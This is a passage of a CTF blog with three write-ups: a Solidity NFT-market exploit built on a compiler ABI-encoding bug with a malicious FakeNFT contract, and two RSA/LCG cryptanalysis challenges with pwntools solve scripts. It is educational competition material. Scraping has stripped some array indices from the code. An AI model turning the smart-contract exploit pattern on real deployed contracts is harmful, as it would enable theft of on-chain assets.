it is because I took a look at EnumerableSet recently, I guess. It's all very cool ideas, so it's good. ### Part 2: The purchaseWithCoupon() The first thing we have to notice is that verifyCoupon() is practically a view function. The getOrder() function inside is view, so it'll be done with staticcall. The ownerOf() function is also view, so staticcall will be used. Therefore, we can't use the same idea to re-enter with a different order at coupon's order ID. Therefore, we can't do anything malicious until the token transfers come in. We initially thought that the ideas from Part 1 still work, so I wrote all scripts and then realized that it doesn't work. I believed that a compiler bug must be the way to go, and began searching on solidity's list of known bugs. Literally everything matched the challenge - • This solidity bug was patched in 0.8.16. The challenge uses 0.8.15. • It's stated that the last component must be static-sized array. It is bytes32. • It's stated that one dynamic component is needed. There is a bytes value. • The bug clears the first 32 bytes of the first dynamic tuple. That happens to be order ID. • In the blog, it is stated that "Plausible attacks against affected contracts can only occur in situations where the contract accepts a static calldata array as a part of its input and forwards it to another external call without modifying the content." This is exactly what happens in purchaseWithCoupon() and verifyCoupon(). The SignedCoupon struct is sent in as a calldata, and it's directly forwarded. Some testing shows that if we send a SignedCoupon with order ID 1, it's forwarded to verifyCoupon with order ID 0. This means that if we have some order that we control at order 0 and the order for the third NFT at some other place, we can use the coupon. This is because the order used to verify the coupon is the order 0, which we own the NFT of. This means that we can sign our own coupon, but use it on the order for the third NFT with the solidity bug. All that's left is to combine these. ### Part 3: Combining Everything We'll denote the order for the NFTs that we need to get as order #1, #2, #3. We note that for the bug at Part 2, we need a order that we control at the order ID 0. With this in mind, we will set up our attack as follows. We'll use sqrtrev's approach on Part 1. • Get the TctfToken airdrop. Currently, the orders on the market is [#1, #2, #3]. • Perform sqrtrev's attack. We'll get 1337 tokens, and the orders on the market is still [#1, #2, #3]. • We'll buy NFT #2 with our 1337 tokens, and the orders on the market is [#1, #3] • We'll mint a dumb NFT to ourself, and create an order. The orders on the market is [#1, #3, us]. • Now we'll buy NFT #1 with 1 token. The orders on the market is [us, #3]. • Now the order ID 0 is an order we control - so the attack from Part 2 works. We buy NFT #3 with 1 token. This will give us the flag. Foundry testing is very easy to do, but hardhat scripting was a bit painful. It can be done though.  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 // FakeNFT for attack // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.15; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./Task.sol"; contract FakeNFT is ERC721 { uint256 called = 0; uint256 approved = 0; TctfMarket market; TctfToken token; constructor() ERC721("FakeNFT", "FNFT") { _setApprovalForAll(address(this), msg.sender, true); } function getParams(address t1, address t2) public { market = TctfMarket(t1); token = TctfToken(t2); } function mint(address to, uint256 tokenId) external { _mint(to, tokenId); } function approve(address dest, uint256 tokenId) public override { if(approved == 0) { super.safeTransferFrom(msg.sender, USER, 1); // sqrtrev's code: he hardcoded USER here } else { super.approve(dest, tokenId); } approved += 1; } function safeTransferFrom(address, address, uint256) public override { } } // foundry testing function setUp() public { vm.label(user, "user"); vm.label(deployer, "deployer"); vm.startPrank(deployer, deployer); market = new TctfMarket(); vm.stopPrank(); token = market.tctfToken(); NFT = market.tctfNFT(); } function testExploit() public { vm.startPrank(user); fakeNFT = new FakeNFT(); emit log_address(address(fakeNFT)); Coupon memory coupon; Signature memory signature; SignedCoupon memory scoupon; Order memory order; token.airdrop(); // get 5 tokens fakeNFT.mint(address(market), 1); market.purchaseTest(address(fakeNFT), 1, 1337); token.approve(address(market), 1337 + 5); fakeNFT.mint(user, 2); fakeNFT.approve(address(fakeNFT), 2); market.createOrder(address(fakeNFT), 2, 1); market.purchaseOrder(0); market.purchaseOrder(1); coupon.orderId = 1; coupon.newprice = 1; coupon.issuer = user; coupon.user = user; coupon.reason = "rkm0959"; order = market.getOrder(0); bytes memory serialized = abi.encode( "I, the issuer", coupon.issuer, "offer a special discount for", coupon.user, "to buy", order, "at", coupon.newprice, "because", coupon.reason ); (signature.v, signature.rs, signature.rs) = vm.sign(pvk, keccak256(serialized)); // pvk = user's private key scoupon.coupon = coupon; scoupon.signature = signature; emit log_uint(uint256(signature.v)); emit log_bytes32(signature.rs); emit log_bytes32(signature.rs); market.purchaseWithCoupon(scoupon); market.win(); } Colored by Color Scripter cs #### 'CTF' 카테고리의 다른 글 CODEGATE 2022 Finals: Look It Up (0) 2022.11.09 2022.09.19 2022.06.27 2022.02.28 2022.02.28 https://github.com/rkm0959/Cryptography_Writeups/blob/main/2022/WAConQual/rsa-secret-sharing-chal.py https://github.com/rkm0959/Cryptography_Writeups/blob/main/2022/WAConQual/rsa-secret-sharing-exploit.py ## RSA Secret Sharing: by rkm0959 (2 solves in General, 1 solve in Junior) ON 2-out-of-3 SECRET SHARING BASED ON RSA - MemeCrypt 2022  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from Crypto.Util.number import getPrime, isPrime, bytes_to_long import string, signal, random, hashlib signal.alarm(1500) def gen_pow(): print("Solve PoW plz") s = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(16)) print(s) answer = input() hash = bytes_to_long(hashlib.sha256((s + answer).encode()).digest()) if hash != (hash >> 26) << 26: exit() gen_pow() q = getPrime(342) print("q = {}".format(q)) class LCG: def __init__(self, a, x, b): self.a = a self.x = x self.b = b def fetch(self): ret = self.x self.x = (self.a * self.x + self.b) % q return ret print("Hello! You are the owner of one Share Generator! Please insert your parameters :)") a = int(input()) % q x = int(input()) % q b = int(input()) % q assert 1 <= a < q and 1 <= x < q and 1 <= b < q LCG1 = LCG(a, x, b) LCG2 = LCG(random.randint(1, q-1), random.randint(1, q-1), random.randint(1, q-1)) LCG3 = LCG(random.randint(1, q-1), random.randint(1, q-1), random.randint(1, q-1)) # in Junior Division, LCG2.a was given additionally def roll(): return LCG3.fetch() * q * q + LCG2.fetch() * q + LCG1.fetch() def checkFactor(n): u = int(input()) v = int(input()) assert 1 < u < n and 1 < v < n and u * v == n pr = [] while len(pr) < 8: p = roll() if isPrime(p): pr.append(p) n1 = pr * pr n2 = pr * pr n3 = pr * pr n4 = pr * pr print(n1) print(n2) print(n3) print(n4) checkFactor(n1) checkFactor(n2) checkFactor(n3) checkFactor(n4) flag = open("flag", "r").read() print(flag) Colored by Color Scripter cs ### Solution Denote$a_i, x_i, b_i$to be the initial LCG parameters of$LCG_i$. Denote$LCG_{i, j}$to be the$j$th value that$i$th LCG generated. Note that we control$a_1, x_1, b_1$. We see that with$a_i \not\equiv 1 \pmod{q}$, $$LCG_{i, j} \equiv a_i^j x_i + \frac{a_i^j - 1}{a_i - 1} b_i \equiv a_i^j \left(x_i + \frac{b_i}{a_i - 1} \right) - \frac{b_i}{a_i-1} \pmod{q}$$ We are generating roughly$1024$bit primes, so with heuristics on prime gap we may assume that we will get our 8 primes generated in our first 6000 tries. Our first goal is to find out which of those 6000 tries were the ones that we actually generated a prime successfully. To do so, we send random$a = a_1, x = x_1, b = b_1$to the server. This generates random enough values for the LCG we control, and these LCG values will be the value of our primes modulo$q$. For each$n$, there will be two indices$u, v$such that $$n \equiv LCG_{1, u} \cdot LCG_{1, v} \pmod{q}$$ and we may find these$u, v$via simple brute force. Now we move on to finding the parameters for LCG2, the second LCG. If two indices$u, v$generated$n$, we see $$n \equiv (LCG_{2, u} q + LCG_{1, u})(LCG_{2, v}q + LCG_{1, v}) \pmod{q^2}$$ and with the knowledge of$u, v, LCG_{1, u}, LCG_{1, v}$, we can write $$LCG_{1, v} LCG_{2, u} + LCG_{1, u} LCG_{2, v} \equiv \frac{n - LCG_{1, u}LCG_{1,v}}{q} \pmod{q}$$ Denote $$C \equiv x_2 + \frac{b_2}{a_2 - 1} \pmod{q}, \quad D \equiv - \frac{b_2}{a_2 - 1} \pmod{q}$$ and we can now write, with$LCG_{2, u} \equiv a_2^u C + D \pmod{q}$and$LCG_{2, v} \equiv a_2^v C + D \pmod{q}$, that $$\left( LCG_{1, v} a_2^u + LCG_{1, u} a_2^v \right) C + \left( LCG_{1, u} +LCG_{1, v} \right) D \equiv \frac{n - LCG_{1, u}LCG_{1,v}}{q} \pmod{q}$$ Note that we have four$n$, so four such equations - and we note that$(C, D, -1)$is orthogonal to $$\left( LCG_{1, v} a_2^u + LCG_{1, u} a_2^v, LCG_{1, u} + LCG_{1, v}, \frac{n - LCG_{1, u} LCG_{1, v}}{q} \right)$$ when considered as vectors in$\mathbb{F}_q^3$. Therefore, given three such vectors, they will be linearly dependent. This can be expressed algebraically by taking three such vectors, making a matrix with them, and then claiming its determinant is zero. This determinant will be a polynomial of$a_2$over$\mathbb{F}_q$. There are now two ways to finish. The first one is to directly factor this polynomial to find its roots. This is efficient enough to solve the challenge. The second one is to get two such polynomials, using the fact that we are given not three, but four such equations. Then we can simply take the GCD of two polynomials to get a polynomial of much smaller degree. This can be solved to get$a_2$. With$a_2$calculated, we can solve the linear system to get$C, D$, and then we can solve for$x_2, b_2$by $$x_2 \equiv C+D \pmod{q}, \quad b_2 \equiv -D(a_2-1) \pmod{q}$$ We can even check for validity of$a_2$by checking if all four$n \pmod{q^2}$can be recalculated accordingly. We now have full knowledge of the second LCG. There are now two ways to finish. The first one is to use Coppersmith's Attack - since we know 2/3 of each primes we can definitely factor each$n$. The second one is to apply this same logic to the third LCG - the details are practically the same.  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 from sage.all import * from pwn import * from tqdm import tqdm import random as rand from Crypto.Util.number import inverse conn = remote("175.123.252.200", 6666) conn.recvline() s = conn.recvline().rstrip().decode() assert len(s) == 16 for i in tqdm(range(1 << 28)): t = str(i) hash = hashlib.sha256((s + t).encode()).hexdigest() if hash[-6:] == "000000" and hash[-7] in "048c": conn.sendline(t.encode()) break q = int(conn.recvline().split()[-1]) conn.recvline() a_mine = rand.randint(1, q - 1) x_mine = rand.randint(1, q - 1) b_mine = rand.randint(1, q - 1) conn.sendline(str(a_mine).encode()) conn.sendline(str(x_mine).encode()) conn.sendline(str(b_mine).encode()) n1 = int(conn.recvline()) n2 = int(conn.recvline()) n3 = int(conn.recvline()) n4 = int(conn.recvline()) n1q = n1 % q n2q = n2 % q n3q = n3 % q n4q = n4 % q n1qq = n1 % (q * q) n2qq = n2 % (q * q) n3qq = n3 % (q * q) n4qq = n4 % (q * q) targets = [n1, n2, n3, n4] targetsq = [n1q, n2q, n3q, n4q] targetsqq = [n1qq, n2qq, n3qq, n4qq] dat = [x_mine] for i in range(0, 10000): dat.append((a_mine * dat[-1] + b_mine) % q) dic = {} for i in range(10000): dic[dat[i]] = i idx = [(-1, -1)] * 4 for i in range(10000): for j in range(4): target = (targetsq[j] * inverse(dat[i], q)) % q if target in dic.keys(): other = dic[target] if other < i: idx[j] = (other, i) else: idx[j] = (i, other) print(idx) st = time.time() POL = PolynomialRing(GF(q), 'a') a = POL.gen() f1 = dat[idx] * a ** idx + dat[idx] * a ** idx f2 = dat[idx] * a ** idx + dat[idx] * a ** idx f3 = dat[idx] * a ** idx + dat[idx] * a ** idx c1 = dat[idx] + dat[idx] c2 = dat[idx] + dat[idx] c3 = dat[idx] + dat[idx] v1 = ((n1 % (q * q) - dat[idx] * dat[idx]) // q) % q v2 = ((n2 % (q * q) - dat[idx] * dat[idx]) // q) % q v3 = ((n3 % (q * q) - dat[idx] * dat[idx]) // q) % q det = f1 * c2 * v3 + f2 * c3 * v1 + f3 * c1 * v2 - f1 * c3 * v2 - f2 * c1 * v3 - f3 * c2 * v1 det = det // (a ** idx) while det(1) == GF(q)(0): det = det // (a - 1) print("degree : ", det.degree()) a_cand = det.roots() print(a_cand) en = time.time() print("took {} seconds".format(en - st)) for root, mult in a_cand: a_final = root F1 = int(f1(a_final)) F2 = int(f2(a_final)) F3 = int(f3(a_final)) C = ((v1 * c2 - v2 * c1) * inverse(F1 * c2 - F2 * c1, q)) % q D = ((v1 - F1 * C) * inverse(c1, q)) % q assert (F1 * C + c1 * D - v1) % q == 0 assert (F2 * C + c2 * D - v2) % q == 0 x_final = (C + D) % q b_final = (-D * (int(a_final) - 1)) % q dat_final = [x_final] for i in range(10000): dat_final.append((int(a_final) * dat_final[-1] + b_final) % q) ok = True for i in range(4): pr1q2 = dat_final[idx[i]] * q + dat[idx[i]] pr2q2 = dat_final[idx[i]] * q + dat[idx[i]] if (pr1q2 * pr2q2) % (q * q) != targetsqq[i]: ok = False if ok: for i in range(4): pr1q2 = dat_final[idx[i]] * q + dat[idx[i]] pr2q2 = dat_final[idx[i]] * q + dat[idx[i]] POL = PolynomialRing(Zmod(targets[i]), 'x') x = POL.gen() f = x * q * q + pr1q2 f = f.monic() share3 = f.small_roots(X = q, beta = 0.49, epsilon = 0.05) p = int(share3) * q * q + pr1q2 conn.sendline(str(p).encode()) conn.sendline(str(targets[i] // p).encode()) print(conn.recvline()) Colored by Color Scripter cs ### Comments To solve the PoW efficiently, instead of doing the entire bytes_to_long you should just check the last 4 bytes of SHA256. Sending random$a_1, x_1, b_1$rather than$1, 1, 1$is a bit better because with$1, 1, 1$, you can't really distinguish$3 \cdot 10 = 5 \cdot 6$and stuff like that. With random values, it's should be possible to show that such collisions occur with a very low probability, with for example Schwartz-Zippel lemma. Proving this in mathematically precise fashion is left as an exercise for the reader. Before computing GCD or factorizing polynomials, it's helpful to reduce the degrees by dividing out some obvious parts. By giving$a_2$to the participants of Junior Division, we allow them to go straight into Coppersmith's Attack without setting up for the determinant or doing polynomial stuff. However, the only solver from Junior Division solved this challenge without Coppersmith's Attack. We note that to solve the problem, we do not need the first and third RNGs to be an LCG. Also, there's no need to let the participants select their values of$a_1, x_1, b_1$. However, letting the participants choose their$a_1, x_1, b_1$opens up the possibility for other ideas that end up not working. The intended trap was to select$a_1, x_1, b_1$so that the first LCG always output the same value. This does not help to solve the challenge to the best of author's knowledge. Letting the third RNG to not be an LCG forces the participant to know Coppersmith's Attack - but I did not really want to test this, since finding the$a_2$part is already hard enough for WACon 2022 Quals. However, for Junior Division, I decided to award the knowledge of Coppersmith's Attack by giving them$a_2$. I think this was reasonable. It's also possible to solve LCG3 easier than the two methods described in the solution - this is due to the solvers in the Junior Division. Since we have $$n = (LCG_{3, u} q^2 + LCG_{2, u} q + LCG_{1, u})(LCG_{3, v} q^2 + LCG_{2, v} q+ LCG_{1, v})$$ we can rewrite this as $$n' = \frac{n-(LCG_{2,u}q+LCG_{1,u})(LCG_{2,v}q+LCG_{1,v})}{q^2}$$ $$= LCG_{3,u}LCG_{3,v} q^2 +(LCG_{3,u}LCG_{2,v}+LCG_{3,v}LCG_{2,u})q + (LCG_{3,u}LCG_{1,v} + LCG_{3,v}LCG_{1,u})$$ and now since this value can be calculated as we know$LCG_{1,u},LCG_{1,v},LCG_{2,u},LCG_{2,v},q$. Let $$\alpha = \left\lfloor \frac{LCG_{3,u}LCG_{1,v} + LCG_{3,v}LCG_{1,u}}{q} \right\rfloor$$ This is usually on the order of$q$, but by selecting$a_1 = x_1 = b_1 = 1$we can force this value to be small, usually less than$10^4$. We now have $$LCG_{3,u}LCG_{1,v} + LCG_{3,v} LCG_{1,u} \equiv n' \pmod{q}$$ and $$LCG_{3,u}LCG_{2,v} + LCG_{3,v}LCG_{2,u} \equiv \lfloor n' / q \rfloor - \alpha \pmod{q}$$ Therefore, if we know$\alpha$, we can solve this using a linear system easily. Since$\alpha$is in a brute forcable range, we are done. This is a beautiful solution that I have overlooked, congratulations to the team! It's very cool that this solution uses the exact setup$a_1 = x_1 = b_1 = 1$that I advised not to do in my second comment above. Of course, this means that they had to deal with a multiple possibilities for the index, i.e. the reason I advised not to use$a_1=x_1=b_1=1$. To see how they did it, consult their writeup in Korean. I gave participants four$n$instead of three$n$to make the knowledge of fast polynomial factorization or SageMath not required. The description "2-out-of-3 secret sharing" comes from Coppersmith's Attack - note that if two share generators collaborate, they can find 2/3 of the primes and therefore can factorize$n$using Coppersmith's Attack. I thought about making a challenge to check their understanding of why this challenge is about 2-out-of-3 secret sharing, but decided not to do it. Of course, only having one share generator does not allow you to factorize$n$, so this scheme fits the definition of "2-out-of-3 secret sharing". The flag was WACon{we_should_probably_use_a_better_RNG_than_LCG!!!_(and_hopefully_remove_the_trusted_third_party_:wink:)} which notes that a trusted third party or TEE is required to check the primality of generated values and compute$n$. One of the solvers from General Division practically never studied cryptography in their life, but they are quite strong players in the Korean competitive programming scene. They actually solved all three cryptography challenges, which is a fascinating feat. Of course, note that we didn't set challenges that require huge amount of prior knowledge in cryptography. #### 'CTF' 카테고리의 다른 글 0CTF 2022 ezRSA+++ (0) 2022.09.19 2022.09.19 2022.02.28 2022.02.28 2021.12.14 10 Solves in General Division. Author : Barkingdog  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #!/usr/bin/python3 from Crypto.Util.number import * import os BITS = 512 UPPER_BITS = 296 LOWER_BITS = BITS - UPPER_BITS UPPER = bytes_to_long(os.urandom(UPPER_BITS // 8)) << LOWER_BITS FLAG = b'codegate2022{this_is_a_sample_flag}' def menu1(): while True: lower = bytes_to_long(os.urandom(LOWER_BITS // 8)) p = UPPER | lower if isPrime(p): return lower def menu2(): p = UPPER + menu1() q = getPrime(512) e = 0x10001 n = p * q return n, pow(bytes_to_long(FLAG + b'\x00' + os.urandom(128 - 2 - len(FLAG))), e, n) while True: print("1. Generate 10 random primes (only lower bits)") print("2. Encrypt a flag") idx = int(input("> ")) if idx == 1: print("How many? (Up to 10)") num = int(input("> ")) for _ in range(min(10, num)): print(menu1()) elif idx == 2: n, c = menu2() print(f"n : {n}") print(f"c : {c}") Colored by Color Scripter cs Solution This is a RSA challenge. We see that menu1 generates primes that have equal upper 296 bits, i.e.$UPPER$. It then returns the value$lower$, which is the value of the lower 216 bits. If we can somehow find the value of$UPPER$, this leads us to knowing much more than half of the upper bits of$p$, so we will be able to factor$n$via standard RSA attacks using coppersmith algorithm. Now we focus on finding$UPPER$. Each time we are given$lower$, we know that$UPPER + lower$is a prime. Therefore, for each small primes$p<700$, we actually have a relatively strong information $$UPPER + lower \not\equiv 0 \pmod{p}$$ or $$UPPER \not\equiv -lower \pmod{p}$$ which is good enough to remove one possible candidate of$UPPER \pmod{p}$. Given sufficient number of$lower$such that$UPPER + lower$is a prime, we will be able to remove all but one possible candidate for$UPPER \pmod{p}$for each prime$p <700$. This essentially means that we can recover$UPPER \pmod{p}$for each prime$p<700$. Combining these information with Chinese Remainder Theorem along with the bound$UPPER < 2^{512}$is strong enough to deduce the value of$UPPER\$. This solves the problem. The code below is due to the challenge author barkingdog.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 #!/usr/bin/sage from Crypto.Util.number import * from pwn import * from sage.all import * import math   r = remote("localhost", 9001)   BITS = 512 UPPER_BITS = 296 LOWER_BITS = BITS - UPPER_BITS   primes = [ 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659]   remainders = [set([x for x in range(p)]) for p in primes]   def prod(L):     val = 1     for x in L:         val *= x     return val   def get_lower():     r.recvuntil(b"> ")     r.sendline(b"1")     r.recvuntil(b"> ")     r.sendline(b"10")     return [int(r.recvline()) for _ in range(10)]   def get_nc():     r.recvuntil(b"> ")     r.sendline(b"2")     r.recvuntil(b"n : ")     n = int(r.recvline())     r.recvuntil(b"c : ")     c = int(r.recvline())     return n, c   def rsa_high_bits_known(n, c, upper):     F. = PolynomialRing(Zmod(n), implementation='NTL');      pol = x - upper     beta = 0.48  # we should have q >= N^beta     XX = 2 ** LOWER_BITS     epsilon = beta / 7     rt = pol.small_roots(XX, beta, epsilon)       q = int(gcd(rt - upper, n))     p = int(n) // int(q)     assert(p*q == n and p > 1 and q > 1)     phi = (p-1)*(q-1)     e = 0x10001     d = int(pow(e, -1, phi))     plain = int(pow(c, d, n))     print(long_to_bytes(plain))   #### STEP 1. Recover UPPER using crt #### print("[+] STEP 1. Recover UPPER using crt") crt_a =  crt_m = [2**LOWER_BITS]   cnt = 0 while prod(crt_m) < 2**BITS:     cnt += 1     if cnt % 10 == 0:         print(f"Gather {cnt*10} primes.. progress : {int(100 * (math.log2(prod(crt_m))-LOWER_BITS) / UPPER_BITS)}%")     lowers = get_lower()     for lower in lowers:         for i in range(len(primes)):             rem = lower % primes[i]             if rem in remainders[i]:                 remainders[i].remove(rem)                 if len(remainders[i]) == 1:                     crt_a.append(primes[i] - remainders[i].pop())                     crt_m.append(primes[i])   upper = crt(crt_a, crt_m) print(f"[+]UPPER = {upper.hex()}")   #### STEP 2. Recover FLAG using RSA Factoring with high bits known attack ### print("[+] STEP 2. Recover FLAG using RSA Factoring with high bits known attack") n, c = get_nc() rsa_high_bits_known(n, c, upper) Colored by Color Scripter cs

#### 'CTF' 카테고리의 다른 글

0CTF 2022 TCTF NFT Market  (0) 2022.09.19 2022.06.27 2022.02.28 2021.12.14 2021.11.22